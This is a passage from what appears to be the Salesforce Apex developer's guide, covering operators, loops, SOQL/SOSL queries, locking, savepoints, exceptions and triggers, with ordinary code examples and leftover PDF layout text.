This operator exhibits short-circuiting behavior, which means y is evaluated only if x is false. x and y cannot be null.

==

x == y

Equality operator. If the value of x equals the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike Java, == in Apex compares object value equality, not reference equality. Consequently: String comparison using == is case insensitive ID comparison using == is case sensitive, and does not distinguish between 15-character and 18-character formats

For sObjects and sObject arrays, == performs a deep check of all sObject field values before returning its result. For records, every field must have the same value for == to evaluate to true. x or y can be the literal null. The comparison of any two values can never result in null. SOQL and SOSL use = for their equality operator, and not ==. Although Apex and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy exists because most modern languages use = for assignment and == for equality. The designers of Apex deemed it more valuable to maintain this paradigm than to force developers to learn a new assignment operator. The result is that Apex developers must use == for equality tests in the main script body, and = for equality in SOQL and SOSL queries.

===

x === y

Exact equality operator. If x and y reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Note that this operator only works for sObjects or collections (such as a Map or list). For an Apex object (such as an Exception or instantiation of a class) the exact equality operator is the same as the equality operator. Less than operator. If x is less than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike other database stored procedures, Apex does not support tri-state Boolean logic, and the comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value.

<

x < y

44

Language Constructs

Understanding Expression Operators

Operator

Syntax

Description If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

>

x > y

Greater than operator. If x is greater than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

<=

x <= y

Less than or equal to operator. If x is less than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

>=

x >= y

Greater than or equal to operator. If x is greater than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value.

45

Language Constructs

Understanding Expression Operators

Operator

Syntax

Description If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

!=

x != y

Inequality operator. If the value of x does not equal the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike Java, != in Apex compares object value equality, not reference equality. For sObjects and sObject arrays, != performs a deep check of all sObject field values before returning its result. For records, != evaluates to true if the records have different values for any field. x or y can be the literal null. The comparison of any two values can never result in null.

!==

x !== y

Exact inequality operator. If x and y do not reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Note that this operator only works for sObjects, collections (such as a Map or list), or an Apex object (such as an Exception or instantiation of a class). Addition operator. Adds the value of x to the value of y according to the following rules: If x and y are Integers or Doubles, adds the value of x to the value of y. If a Double is used, the result is a Double. If x is a Date and y is an Integer, returns a new Date that is incremented by the specified number of days. If x is a Datetime and y is an Integer or Double, returns a new Date that is incremented by the specified number of days, with the fractional portion corresponding to a portion of a day. If x is a String and y is a String or any other type of non-null argument, concatenates y to the end of x. Subtraction operator. Subtracts the value of y from the value of x according to the following rules: If x and y are Integers or Doubles, subtracts the value of x from the value of y. If a Double is used, the result is a Double. If x is a Date and y is an Integer, returns a new Date that is decremented by the specified number of days. If x is a Datetime and y is an Integer or Double, returns a new Date that is decremented by the specified number of days, with the fractional portion corresponding to a portion of a day.

x + y

x - y

46

Language Constructs

Understanding Operator Precedence

Operator
* / ! -

Syntax
x * y x / y !x -x

Description Multiplication operator. Multiplies x, an Integer or Double, with y, another Integer or Double. Note that if a double is used, the result is a Double. Division operator. Divides x, an Integer or Double, by y, another Integer or Double. Note that if a double is used, the result is a Double. Logical complement operator. Inverts the value of a Boolean, so that true becomes false, and false becomes true. Unary negation operator. Multiplies the value of x, an Integer or Double, by -1. Note that the positive equivalent + is also syntactically valid, but does not have a mathematical effect. Increment operator. Adds 1 to the value of x, an Integer or Double. If prefixed (++x), the increment occurs before the rest of the statement is executed. If postfixed (x--), the increment occurs after the rest of the statement is executed. Decrement operator. Subtracts 1 from the value of x, an Integer or Double. If prefixed (--x), the decrement occurs before the rest of the statement is executed. If postfixed (x--), the decrement occurs after the rest of the statement is executed. Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid for types Long or Integer. Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid for types Long or Integer. Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. Parentheses. Elevates the precedence of an expression x so that it is evaluated first in a compound expression.

++

x++ ++x

--

x---x

&

x & y

x | y

x ^ y

^=

x ^= y

<< >>

x << y x >> y

>>>

x >>> y

()

(x)

Understanding Operator Precedence

Apex uses the following operator precedence rules:

47

Language Constructs

Extending sObject and List Expressions

Precedence 1 2 3 4 5 6 7 8 9

Operators
{} () ++ -! -x +x (type) new * / + < <= > >= instanceof == != && || = += -= *= /= &=

Description Grouping and prefix increments and decrements Unary negation, type cast and object creation Multiplication and division Addition and subtraction Greater-than and less-than comparisons, reference tests Comparisons: equal and not-equal Logical AND Logical OR Assignment operators

Extending sObject and List Expressions

As in Java, sObject and list expressions can be extended with method references and list expressions, respectively, to form new expressions. In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(name='Acme')}[0].name.length();

In the above, new Account[] generates a list. The list is populated by the SOQL statement {new Account(name='Acme')}. Item 0, the first item in the list, is then accessed by the next part of the string [0]. The name of the sObject in the list is accessed, followed by the method returning the length name.length(). In the following example, a name that has been shifted to lower case is returned.
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

Using Comments
Both single and multiline comments are supported in Apex scripts: To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser

To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple lines without getting interpreted by the parser. */

48

Language Constructs

Assignment Statements

Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression]; [LValue] = [[inline_soql_query]];

In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include: A simple variable. For example:
Integer i = 1; Account a = new Account(); Account[] accts = [select id from account];

A de-referenced list element. For example:

ints[0] = 1; accts[0].name = 'Acme';

An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco'); // IDs cannot be set manually // a.id = '00300000003T2PGAA0'; This code is invalid!

// Instead, insert the record. The system automatically assigns it an ID. insert a; // Fields also must be writeable for the context user // a.createdDate = System.today(); This code is invalid because // createdDate is read-only! // Since the account a has been inserted, it is now possible to // create a new contact that is related to it Contact c = new Contact(lastname = 'Roth', account = a); // Notice that you can write to the account name directly through the contact c.account.name = 'salesforce.com';

Assignment is always done by reference. For example:

Account a = new Account(); Account b; Account[] c = new Account[]{}; a.name = 'Acme'; b = a; c.add(a); // These asserts should now be true. You can reference the data // originally allocated to account a through account b and account list c. System.assertEquals(b.name, 'Acme'); System.assertEquals(c[0].name, 'Acme');

49

Language Constructs

Conditional (If-Else) Statements

Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()}; Account[] b = a; a[0].name = 'Acme'; System.assert(b[0].name == 'Acme');

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators on page 42 for more information.

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java:
if ([Boolean_condition]) // Statement 1 else // Statement 2

The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign; // Your code if (x <= 0) if (x == 0) sign = 0; else sign = -1;

is equivalent to:
Integer x, sign; // Your code if (x <= 0) { if (x == 0) { sign = 0; } else { sign = -1; } }

Repeated else if statements are also allowed. For example:

if (place == 1) { medal_color = 'gold'; } else if (place == 2) { medal_color = 'silver'; } else if (place == 3) { medal_color = 'bronze'; } else { medal_color = null; }

Loops
Apex supports the following five types of procedural loops:

50

Language Constructs

Do-While Loops

do {statement} while (Boolean_condition); while (Boolean_condition) statement; for (initialization; Boolean_exit_condition; increment) statement; for (variable : array_or_set) statement; for (variable : [inline_soql_query]) statement;

All loops allow for loop control structures:

break; exits the entire loop continue; skips to the next iteration of the loop

Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do { code_block } while (condition);

Note: Curly braces ({}) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently, the code block always runs at least once. As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1; do { System.debug(count); count++; } while (count < 11);

While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) { code_block }

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is possible for the code block to never execute. As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;

51

Language Constructs

For Loops

while (count < 11) { System.debug(count); count++; }

For Loops
Apex supports three variations of the for loop: The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) { code_block }

The list or set iteration for loop:

for (variable : list_or_set) { code_block }

where variable must be of the same primitive or sObject type as list_or_set. The SOQL for loop:
for (variable : [soql_query]) { code_block }

or
for (variable_list : [soql_query]) { code_block }

Both variable and variable_list must be of the same sObject type as is returned by the soql_query. Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Each is discussed further in the sections that follow. Traditional For Loops The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) { code_block }

When executing this type of for loop, the Apex runtime engine performs the following steps, in order: 1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement. 2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits. 3. Execute the code_block.

52

Language Constructs

For Loops

4. Execute the increment_stmt statement. 5. Return to Step 2. As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) { System.debug(i+1); }

List or Set Iteration For Loops The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) { code_block }

where variable must be of the same primitive or sObject type as list_or_set. When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and runs the code_block for each value. For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; for (Integer i : myInts) { System.debug(i); }

SOQL For Loops SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) { code_block }

or
for (variable_list : [soql_query]) { code_block }

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query. As in standard SOQL queries, the [soql_query] statement can refer to script expressions in their WHERE clauses using the : syntax. For example:
String s = 'Acme'; for (Account a : [select id, name from account where name like :(s+'%')]) { // Your code }

53

Language Constructs

For Loops

The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel']; // Loop through the list and update the Name field for(Account a : accs){ a.name = 'Oracle'; } // Update the database update accs;

SOQL For Loops Versus Standard SOQL Queries SOQL for loops differ from a standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, both limited by the maximum size of a list (1,000), SOQL for loops retrieve all sObjects, using efficient chunking with calls to the query and queryMore methods of the Force.com Web Services API. Consequently, developers must always use a SOQL for loop to process query results that return more than 1,000 records. SOQL For Loop Formats SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an sObject list: The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each DML statement ends up processing only one sObject at a time. The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML statement can bulk process a list of sObjects at a time.

For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database Savepoint sp = Database.setSavepoint(); insert new account[]{new account(name = 'yyy'), new account(name = 'yyy'), new account(name = 'yyy')}; // The single sObject format executes the for loop once per returned record Integer I = 0; for (account tmp : [select id from account where name = 'yyy']) { i++; } System.assert(i == 3); // Since there were three accounts named 'yyy' in the // database, the loop executed three times // The sObject list format executes the for loop once per returned batch // of records i = 0; Integer j; for (account[] tmp : [select id from account where name = 'yyy']) { j = tmp.size(); i++; } System.assert(j == 3); // The list should have contained the three accounts // named 'yyy' System.assert(i == 1); // Since a single batch can hold up to 100 records and, // only three records should have been returned, the // loop should have executed only once

54

Language Constructs

SOQL and SOSL Queries

// Revert the database to the original state Database.rollback(sp);

Note: The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject list format, continue skips to the next list of sObjects. DML statements can only process up to 200 records at a time, and sObject list for loops process records in batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for loop, it is possible to encounter runtime limit errors. See Understanding Execution Governors and Limits on page 166.

SOQL and SOSL Queries

You can evaluate Salesforce.com Object Query Language (SOQL) or Salesforce.com Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets. SOQL Statements SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries. For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [select id, name from account where name = 'Acme'];

From this list, you can access individual elements:

if (!aa.isEmpty()) { // Execute commands }

You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account with the number of employees greater than 10:
Contact c = new Contact(account = [select name from account where NumberofEmployees > 10 limit 1]); c.FirstName = 'James'; c.LastName = 'Yoyce';

Note that the newly created object contains null values for its fields, which will need to be set. The count method can be used to return the number of rows returned by a query. The following example returns the total number of contacts with the last name of Weissman:
Integer i = [select count() from contact where lastname = 'Weissman'];

You can also operate on the results using standard arithmetic:

Integer j = 5 * [select count() from account];

For a full description of SOQL query syntax, see Salesforce.com Object Query Language (SOQL) in the Force.com Web Services API Developer's Guide.

55

Language Constructs

Working with SOQL and SOSL Query Results

SOSL Statements SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the SOSL query. SOSL queries are only supported in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger. If a SOSL query does not return any records for a specified sObject type, the search results include an empty list for that sObject. For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead];

Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the Force.com Web Services API: In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead

In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead

From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]); Contact [] contacts = ((List<Contact>)searchList[1]); Opportunity [] opportunities = ((List<Opportunity>)searchList[2]); Lead [] leads = ((List<Lead>)searchList[3]);

For a full description of SOSL query syntax, see Salesforce.com Object Search Language (SOSL) in the Force.com Web Services API Developer's Guide.

Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The following code example causes a runtime error:
insert new Account(name = 'Singha'); Account acc = [select id from account where name = 'Singha' limit 1]; // Note that name is not selected String name = [select id from account where name = 'Singha' limit 1].name;

The following is the same code example rewritten so it does not produce a runtime error. Note that name has been added as part of the select statement, after id.
insert new Account(name = 'Singha'); Account acc = [select id from account where name = 'Singha' limit 1]; // Note that name is now selected String name = [select id, name from account where name = 'Singha' limit 1].name;

56

Language Constructs

Working with Very Large SOQL Queries

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses the first account record in the list, and then dereferences the record's annualRevenue field:
Double rev = [select annualRevenue from account where name = 'Acme'][0].annualRevenue; // When only one result is returned in a SOQL query, it is not necessary // to include the list's index. Double rev2 = [select annualRevenue from account where name = 'Acme'].annualRevenue;

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns an Integer as the result of a count operation:
Integer i = [select count() from account];

Fields in records returned by SOSL queries must always be dereferenced. Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

Working with Very Large SOQL Queries

SOQL queries that return multiple sObjects can only be used if the query results do not exceed 1,000 records, the maximum size limit of a list. If the query results return more than 1,000 records, then a SOQL query for loop must be used instead, since it can process multiple batches of records through the use of internal calls to query and queryMore. Note: Triggers have an absolute limit of 1,000 records for SOQL queries, regardless of whether the query is used in a for loop. For example, if the results are too large, the syntax below causes a runtime exception:
Account[] accts = [SELECT id FROM account];

Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements // within the for loop for (Account a : [SELECT id, name FROM account WHERE name LIKE 'Acme']) { // Your code without DML statements here } // Use this format for efficiency if you are executing DML statements // within the for loop for (List<Account> accts : [SELECT id, name FROM account WHERE name LIKE 'Acme']) { // Your code here update accts; }

57

Language Constructs

Using SOQL Queries That Return One Record

The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the last name of a contact across all records:
Integer i = 0; for (List<Account> a : [Select Id, (Select FirstName, LastName From Contacts) from Account]) { if (a[i].Contacts[i].FirstName == 'Barbara' && a[i].Contacts[i].LastName == 'Gordon') { a[i].Contacts[i].LastName = 'Wayne'; } update a; i++; }

For more efficient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries filter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID fields. In large organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you need them for your application, contact your salesforce.com representative. For more information, see SOQL For Loops on page 53.

Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT id FROM account]; // These lines of code are only valid if one row is returned from // the query. Notice that the second line dereferences the field from the // query without assigning it to an intermediary sObject variable. Account acct = [SELECT id FROM account]; String name = [SELECT name FROM account].name;

Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT account.name FROM contact WHERE firstname = 'Caroline'].account.name);

Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT id, name, (SELECT lastname FROM contacts) FROM account WHERE name = 'Acme']) { Contact[] cons = a.contacts; } //The following example also works because we limit to only 1 contact for (Account a : [SELECT id, name, (SELECT lastname FROM contacts limit 1) FROM account WHERE name = 'testAgg']) { Contact c = a.contacts; }

58

Language Constructs

Using Apex Variables in SOQL and SOSL Queries

Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex script variables and expressions if they are preceded by a colon (:). This use of a local script variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in script context before executing the SOQL or SOSL statement. Bind expressions can be used as: The search string in FIND clauses The filter literals in WHERE clauses The numeric value in LIMIT clauses The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of particular use with a list of IDs or Strings, though it works with lists of any type. The division names in WITH DIVISION clauses

For example:
Account A = new Account(name='xxx'); insert A; Account B; // A simple bind B = [select id from account where id = :A.id]; // A bind with arithmetic B = [select id from account where name = :('x' + 'xx')]; String s = 'XXX'; // A bind with expressions B = [select id from account where name = :'XXXX'.substring(0,3)]; // A bind with an expression that is itself a query result B = [select id from account where name = :[select name from account where id = :A.id].name]; Contact C = new Contact(lastName='xxx', accountid=A.id); insert new Contact[]{C, new Contact(lastName='yyy', accountId=A.id)}; // Binds in both the parent and aggregate queries B = [select id, (select id from contacts where id = :C.id) from account where id = :A.id]; // One contact returned Contact D = B.contacts; // A limit bind Integer i = 1; B = [select id from account limit :i]; // An IN-bind with an Id list. Note that a list of sObjects // can also be used--the Ids of the objects are used for // the bind Contact[] cc = [select id from contact limit 2]; Task[] tt = [select id from task where whoId in :cc]; // An IN-bind with a String list String[] ss = new String[]{'a', 'b'}; Account[] aa = [select id from account

59

Language Constructs

Querying All Records with a SOQL Statement

where accountnumber in :ss]; // A SOSL query with binds in all possible clauses String myString1 String myString2 Integer myInt3 = String myString4 Integer myInt5 = = 'aaa'; = 'bbb'; 11; = 'ccc'; 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS RETURNING Account (id, name WHERE name LIKE :myString2 LIMIT :myInt3), Contact, Opportunity, Lead WITH DIVISION =:myString4 LIMIT :myInt5];

Querying All Records with a SOQL Statement

SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived activities. For example:
System.assertEquals(2, [SELECT count() FROM contact WHERE accountid = a.id ALL ROWS]);

You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR UPDATE keywords.

Locking Statements
Apex allows developers to lock sObject records while they are being updated in order to prevent race conditions and other thread safety problems. While an sObject record is locked, no other program or user is allowed to make updates. To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [select id from Account limit 2 for update];

Note: You cannot use the ORDER BY keywords in any SOQL query that uses locking. However, query results are automatically ordered by ID. While the accounts are locked by this call, data manipulation language (DML) statements can modify their field values in the database in the transaction. Caution: Use care when setting locks in your Apex scripts. See Avoiding Deadlocks, below.

60

Language Constructs

Locking in a SOQL For Loop

Locking in a SOQL For Loop

The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [select id from Account for update]) { // Your code }

As discussed in SOQL For Loops on page 53, the example above corresponds internally to calls to the query() and queryMore() methods in the Force.com Web Services API. Note that there is no commit statement. If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.

Avoiding Deadlocks
Note that Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or rows. To avoid such deadlocks, the Apex runtime engine: 1. First locks sObject parent records, then children 2. Locks sObject records in order of ID when multiple records of the same type are being edited As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.

Transaction Control
All transactions are controlled by the trigger, Web Service, Visualforce page or anonymous block that executes the Apex script. If the Apex script completes successfully, all changes are committed to the database. If the Apex script does not complete successfully, all database changes are rolled back. However, sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be rolled back so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the transaction that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and the database can be restored to the same condition it was in at the time you generated the savepoint. The following limitations apply to generating savepoint variables and rolling back the database: If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it. References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error. You can only set five savepoints in all contexts, that is, in triggers, anonymous blocks, WSDL methods or unit tests. You will receive a runtime error if you try to set additional savepoints. You can only restore the database using rollback 20 times in all contexts, that is, in triggers, anonymous blocks, WSDL methods or unit tests. You will receive a runtime error if you try to rollback the database additional times.

61

Language Constructs

Exception Statements

The following is an example using the setSavepoint and rollback Database methods.
Account a = new account(name = 'xxx'); insert a; System.assertEquals(null, [select accountnumber from account where id = :a.id]. accountnumber); // Create a savepoint while accountNumber is null Savepoint sp = Database.setSavepoint(); // Change the account number a.accountnumber = '123'; update a; System.assertEquals('123', [select accountnumber from account where id = :a.id]. accountnumber); // Rollback to the previous null value Database.rollback(sp); System.assertEquals(null, [select accountnumber from account where id = :a.id]. accountnumber);

Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of script execution. throw statements can be used to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception. You can also create your own exceptions using the Exception class. For more information, see Exception Class on page 302.

Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it with an exception object to provide information about the specific error. For example:
throw exceptionObject;

Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception: The try statement identifies a block of code in which an exception can occur. The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have multiple associated catch statements, however, each catch statement must have a unique exception type. The finally statement optionally identifies a block of code that is guaranteed to execute and allows you to clean up after the code enclosed in the try block. A single try statement can have only one associated finally statement.

62

Language Constructs

Try-Catch-Finally Statements

Syntax The syntax of these statements is as follows:

try { code_block } catch (exceptionType) { code_block } // Optional catch statements for other exception types. // Note that the general exception type, 'Exception', // must be the last catch block when it is used. } catch (Exception e) { code_block } // Optional finally statement } finally { code_block }

Example For example:

try { // Your code here } catch (ListException e) { // List Exception handling code here } catch (Exception e) { // Generic exception handling code here }

Note: Limit exceptions caused by an execution governor cannot be caught. See Understanding Execution Governors and Limits on page 166 for information.

63

Chapter 3
Invoking Apex
In this chapter ... Triggers Apex Scheduler Anonymous Blocks Apex in AJAX
Using the following mechanisms, you can invoke your Apex scripts: Triggers Apex scheduler (for Apex classes only) Anonymous Blocks AJAX Toolkit

64

Invoking Apex

Triggers

Triggers
Apex scripts can be invoked through the use of triggers. A trigger is an Apex script that executes before or after the following types of operations: insert update delete merge upsert undelete

For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or even after a record is restored from the Recycle Bin. You can define triggers for any top-level standard object, such as a Contact or an Account, but not for standard child objects, such as a ContactRole. For case comments, click Setup Cases Case Comments Triggers. For email messages, click Setup Cases Email Messages Triggers.

Triggers can be divided into two types: Before triggers can be used to update or validate record values before they are saved to the database. After triggers can be used to access field values that are set by the database (such as a record's Id or lastUpdated field), and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue.

Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See Understanding Execution Governors and Limits on page 166. Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error. This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error. Implementation Considerations Before creating triggers, consider the following:
upsert triggers fire both before and after insert or before and after update triggers as appropriate. merge triggers fire both before and after delete triggers for the losing records and before update triggers for the

winning record only. See Triggers and Merge Statements on page 72. Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on page 73. Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history for the current transaction. Do not write triggers that make assumptions about API batches. Salesforce.com may break up API batches into sets smaller than those specified.

65

Invoking Apex

Bulk Triggers

Bulk Triggers
In earlier versions of Apex, triggers could process only one sObject record at a time and did not support bulk processing. Consequently, if you defined a trigger that included SOQL queries or DML statements, you could not use API bulk processing calls on sObjects that fired that trigger without quickly surpassing database query limits. In this version of Apex, the single record processing model is no longer available. All triggers are bulk triggers by default, and can process multiple records at a time. Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.

